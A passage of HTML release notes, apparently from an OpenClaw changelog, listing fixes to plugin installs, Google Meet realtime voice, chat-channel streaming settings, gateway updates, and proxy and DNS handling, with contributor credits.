<p>Plugin updates: do not short-circuit trusted official npm updates as unchanged when the default/latest spec still resolves to an already-installed prerelease that the installer should replace with a stable fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugin tools: keep auth-unavailable optional tools hidden even when another default tool from the same plugin is available and <code>tools.alsoAllow</code> names the optional tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Realtime transcription: report socket closes before provider readiness as closed-before-ready failures instead of mislabeling them as connection timeouts for OpenAI, xAI, and Deepgram streaming transcription. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>OpenAI/Google Meet: fail realtime voice connection attempts when the socket closes before <code>session.updated</code>, avoiding stuck Meet joins waiting on a bridge that never became ready. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/cache: require the full <code>CACHE-OK &lt;suffix&gt;</code> marker before live cache probes stop retrying, so suffix-only prose cannot hide a broken probe response. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Slack/Matrix: avoid creating blank progress-draft messages when <code>streaming.progress.label=false</code> and progress tool lines are disabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: keep the mock OpenAI tool-progress provider aligned with exact-marker Matrix prompts so the hardened live preview scenario still forces a deterministic read before final delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>OpenAI/Google Meet: wait for realtime voice <code>session.updated</code> before treating the bridge as connected, so Meet joins do not return with audio queued behind an unconfigured realtime session. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: merge official external catalog descriptors into partial package channel config metadata, so lagging WeCom/Yuanbao manifests keep their own schema while still exposing host-supplied labels and setup text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: supplement lagging official external WeCom and Yuanbao npm manifests with channel config descriptors and declared tool contracts from the OpenClaw catalog, so trusted package sweeps no longer fail because external package metadata trails the host contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: let trusted official <code>@openclaw/*</code> catalog installs recover when npm <code>latest</code> points at a prerelease by falling back to the newest stable version, or by selecting the newest exact prerelease for prerelease-only launch packages with a warning instead of making beta/development plugin sweeps fail at install time. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet: grant Chrome media permissions against the actual Meet tab, start the local realtime audio bridge only after Meet joins, expose realtime transcripts in status/logs, and force explicit audio responses with current OpenAI realtime output-audio events so BlackHole capture does not keep the OpenClaw participant muted or silent.</p>
</li>
<li>
<p>Memory/LanceDB: declare <code>apache-arrow</code> in the bundled memory plugin package so LanceDB installs include its runtime peer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372798421" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76910" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76910/hovercard" href="https://github.com/openclaw/openclaw/issues/76910">#76910</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afiqfiles-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afiqfiles-max">@afiqfiles-max</a>.</p>
</li>
<li>
<p>CLI/devices: retry explicit device-pair approval with <code>operator.admin</code> after a pairing-scope ownership denial, so existing admin-capable paired-device tokens can recover new Control UI/browser pairing after upgrades instead of requiring manual JSON edits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373068828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76956/hovercard" href="https://github.com/openclaw/openclaw/issues/76956">#76956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neo19482/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neo19482">@neo19482</a>.</p>
</li>
<li>
<p>Google Meet: use the local call-control microphone button instead of disabled remote participant mute buttons, and block realtime speech when the OpenClaw Meet microphone remains muted.</p>
</li>
<li>
<p>Google Meet: refresh realtime browser state during status and retry delayed speech after Meet finishes joining, so a just-opened in-call tab no longer leaves speech stuck behind stale <code>not-in-call</code> health.</p>
</li>
<li>
<p>Plugins/install: recover the install ledger from the managed npm root when <code>plugins/installs.json</code> is empty or partial, so reinstalling Discord and Codex no longer makes the other installed plugin disappear.</p>
</li>
<li>
<p>Google Meet: grant Meet media permissions through the Playwright browser context when CDP grants do not affect the attached Chrome page, and report in-call microphone/speaker permission problems instead of marking realtime speech ready.</p>
</li>
<li>
<p>QA/Slack: fail the live mention-gating scenario on any unexpected SUT reply, even when the reply does not echo the expected marker. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: steer the live tool-progress preview check away from <code>HEARTBEAT.md</code> and report final preview candidates when the live marker reply misses the exact token. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>QA/Matrix: let the live tool-progress preview check verify progress replacement events without depending on the preview saying <code>Working</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tlon: expose <code>groupInviteAllowlist</code> in the channel config schema and clarify that group invite auto-accept fails closed without an invite allowlist. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI/WebChat: collapse duplicate in-flight internal text sends onto the active Gateway run so rapid repeat submits do not start fresh <code>agent:main:main</code> dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365412486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75737" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75737/hovercard" href="https://github.com/openclaw/openclaw/issues/75737">#75737</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsdsddd1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsdsddd1">@dsdsddd1</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Mattermost: accept the documented <code>channels.mattermost.streaming</code> config and honor <code>streaming: "off"</code> by disabling draft preview posts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost: expose streaming progress config labels and help text in generated channel config metadata so Control UI/docs can explain the new <code>channels.mattermost.streaming.progress.*</code> fields. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Mattermost: honor <code>channels.mattermost.streaming.progress.toolProgress=false</code> in progress draft mode so compact tool status lines stay hidden until final delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Microsoft Teams: honor progress draft tool lines in native Teams progress streams and suppress standalone tool messages when <code>channels.msteams.streaming.progress.toolProgress=false</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: keep progress draft boundary callbacks bound during streaming replies, so extension lint stays green while progress previews transition between assistant and reasoning blocks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord: resolve SecretRef-backed bot tokens from the active runtime snapshot for named accounts and keep unresolved configured tokens from crashing status or health checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373196456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76987/hovercard" href="https://github.com/openclaw/openclaw/pull/76987">#76987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Channels/streaming: expose <code>streaming.progress.label</code>, <code>labels</code>, <code>maxLines</code>, and <code>toolProgress</code> in bundled channel config metadata so progress draft settings appear in config, docs, and control surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/streaming: normalize whitespace and case for <code>streaming.progress.label: "auto"</code> so progress draft labels keep using the built-in label pool instead of rendering a literal <code>auto</code> title. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/Codex: preserve Codex-native OAuth routing for <code>/codex bind</code> app-server turns so bound sessions keep the selected Codex auth profile instead of falling back to public OpenAI credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371977999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76714" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76714/hovercard" href="https://github.com/openclaw/openclaw/pull/76714">#76714</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Gateway/install: prefer supported system Node over nvm/fnm/volta/asdf/mise when regenerating managed gateway services, so <code>gateway install --force</code> no longer recreates service definitions that doctor immediately flags as version-manager-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370479446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76339/hovercard" href="https://github.com/openclaw/openclaw/issues/76339">#76339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Cron/status: render explicit <code>delivery.mode: "none"</code> jobs as no-delivery previews and label cron session history distinctly instead of showing fallback delivery or direct-session rows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373002812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76945/hovercard" href="https://github.com/openclaw/openclaw/issues/76945">#76945</a>.</p>
</li>
<li>
<p>Gateway/usage: serve <code>usage.cost</code> and <code>sessions.usage</code> from a durable transcript aggregate cache with lock-safe background refreshes and localized stale-cache status, so large usage views avoid repeated full scans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371689139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76650" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76650/hovercard" href="https://github.com/openclaw/openclaw/pull/76650">#76650</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</p>
</li>
<li>
<p>Plugins/hooks: let <code>plugins.entries.&lt;id&gt;.hooks.timeoutMs</code> and <code>plugins.entries.&lt;id&gt;.hooks.timeouts</code> bound plugin typed hooks from operator config, so slow hooks can be tuned without patching installed plugin code. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372195245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76778" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76778/hovercard" href="https://github.com/openclaw/openclaw/issues/76778">#76778</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Telegram: add <code>channels.telegram.mediaGroupFlushMs</code> at the top level and per account so operators can tune album buffering instead of being stuck with the hard-coded 500ms media-group flush window. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369407591" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76149" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76149/hovercard" href="https://github.com/openclaw/openclaw/issues/76149">#76149</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Config/messages: coerce boolean <code>messages.visibleReplies</code> and <code>messages.groupChat.visibleReplies</code> values to the documented enum modes so an intuitive toggle no longer invalidates config and drops channel startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362618830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75390" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75390/hovercard" href="https://github.com/openclaw/openclaw/issues/75390">#75390</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</p>
</li>
<li>
<p>Agents/network: allow trusted web-search providers and configured model-provider hosts to work behind Surge/Clash/sing-box fake-IP DNS by accepting RFC 2544 and IPv6 ULA synthetic answers only for the request's scoped hostname, without broad private-network access. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371165031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76530/hovercard" href="https://github.com/openclaw/openclaw/pull/76530">#76530</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371221003" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76549/hovercard" href="https://github.com/openclaw/openclaw/pull/76549">#76549</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>Providers: honor env-proxy settings for guarded provider model fetches when no explicit dispatcher policy is configured, preserving explicit transport overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313226664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70453" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70453/hovercard" href="https://github.com/openclaw/openclaw/issues/70453">#70453</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332554258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72480/hovercard" href="https://github.com/openclaw/openclaw/pull/72480">#72480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</p>
</li>
<li>
<p>Web fetch: add a default-off <code>tools.web.fetch.useTrustedEnvProxy</code> opt-in for proxy-only environments so <code>web_fetch</code> can let an operator-controlled HTTP(S) proxy resolve DNS while preserving default strict DNS pinning and hostname policy checks. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174983773" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58034" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58034/hovercard" href="https://github.com/openclaw/openclaw/pull/58034">#58034</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218664195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62560" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62560/hovercard" href="https://github.com/openclaw/openclaw/issues/62560">#62560</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmicnet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmicnet">@cosmicnet</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</p>
</li>
<li>
<p>Feishu: accept and honor <code>channels.feishu.blockStreaming</code> at the top level and per account, while keeping the legacy default off so Feishu cards no longer reject documented config or silently drop block replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363708099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75555" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75555/hovercard" href="https://github.com/openclaw/openclaw/issues/75555">#75555</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/update: avoid <code>launchctl kickstart -k</code> immediately after fresh macOS update bootstraps, and unlink dangling global plugin-runtime symlinks during packaged postinstall and <code>doctor --fix</code> so upgrades no longer SIGTERM the newly booted Gateway or leave bundled plugin imports pointed at pruned <code>plugin-runtime-deps</code> trees. Completes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370027099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76261/hovercard" href="https://github.com/openclaw/openclaw/issues/76261">#76261</a> and fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370948926" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76466/hovercard" href="https://github.com/openclaw/openclaw/issues/76466">#76466</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372917596" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76929" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76929/hovercard" href="https://github.com/openclaw/openclaw/pull/76929">#76929</a>)</p>
</li>
<li>
<p>Google Chat: normalize custom Google auth transport headers before google-auth/gaxios interceptors run, restoring webhook token verification when certificate retrieval expects Fetch <code>Headers</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372087228" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76742" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76742/hovercard" href="https://github.com/openclaw/openclaw/issues/76742">#76742</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donbowman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donbowman">@donbowman</a>.</p>
</li>
<li>
<p>Doctor/plugins: reset stale <code>plugins.slots.memory</code> and <code>plugins.slots.contextEngine</code> references during <code>doctor --fix</code>, so cleanup of missing plugin config does not leave unrecoverable slot owners behind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371224583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76550/hovercard" href="https://github.com/openclaw/openclaw/issues/76550">#76550</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371225742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76551" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76551/hovercard" href="https://github.com/openclaw/openclaw/issues/76551">#76551</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Docs/WhatsApp: merge the duplicate top-level <code>web</code> objects in the gateway channel config example so copy-pasted WhatsApp config keeps both <code>web.whatsapp</code> and reconnect settings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371502896" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76619" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76619/hovercard" href="https://github.com/openclaw/openclaw/issues/76619">#76619</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>.</p>
</li>
<li>
<p>Plugins/Anthropic: expose Claude thinking profiles from the bundled provider-policy artifact so non-runtime callers keep Opus 4.7 <code>adaptive</code>, <code>xhigh</code>, and <code>max</code> instead of downgrading to <code>high</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372204983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76779" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76779/hovercard" href="https://github.com/openclaw/openclaw/issues/76779">#76779</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomascupr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomascupr">@tomascupr</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iAbhi001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iAbhi001">@iAbhi001</a>.</p>
</li>
<li>
<p>Plugins/tools: honor <code>tools.alsoAllow</code> as an optional plugin tool discovery hint without treating its internal allow-all default as permission to load every manifest-marked optional plugin tool. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371480161" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76616" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76616/hovercard" href="https://github.com/openclaw/openclaw/issues/76616">#76616</a>.</p>
</li>
<li>
<p>Discord/native commands: skip slash-command registration and cleanup REST calls when <code>channels.discord.commands.native=false</code>, letting low-power gateways start without waiting on disabled native-command lifecycle requests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369686252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76202" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76202/hovercard" href="https://github.com/openclaw/openclaw/issues/76202">#76202</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: reject unowned command roots such as <code>openclaw foo</code> before managed proxy startup and full plugin CLI runtime loading while preserving manifest-owned and CLI-metadata-owned plugin commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361630008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75287" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75287/hovercard" href="https://github.com/openclaw/openclaw/issues/75287">#75287</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neilofneils404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neilofneils404">@neilofneils404</a>.</p>
</li>
<li>
<p>CLI/message: skip local configured-channel plugin preload for explicit gateway-owned message actions, letting normalized CLI delivery delegate to the gateway without initializing channel runtime in the short-lived CLI process. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363198122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75477/hovercard" href="https://github.com/openclaw/openclaw/issues/75477">#75477</a>.</p>
</li>
<li>
<p>Plugins/commands: normalize empty plugin command handler results and let Telegram native plugin commands send the empty-response fallback instead of throwing when a handler returns <code>undefined</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355136227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74800" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74800/hovercard" href="https://github.com/openclaw/openclaw/issues/74800">#74800</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/tools: cold-load selected plugin tool registries when the active registry only has partial tool coverage, so wildcard-expanded allowlists no longer hide installed plugin tools from <code>tools.effective</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372207787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76780/hovercard" href="https://github.com/openclaw/openclaw/issues/76780">#76780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lilesjtu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lilesjtu">@lilesjtu</a>.</p>
</li>
<li>
<p>Plugins/tools: compare cached and runtime plugin tool name conflicts with normalized core tool names, so case variants of core tools are blocked instead of leaking duplicate tool registrations. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
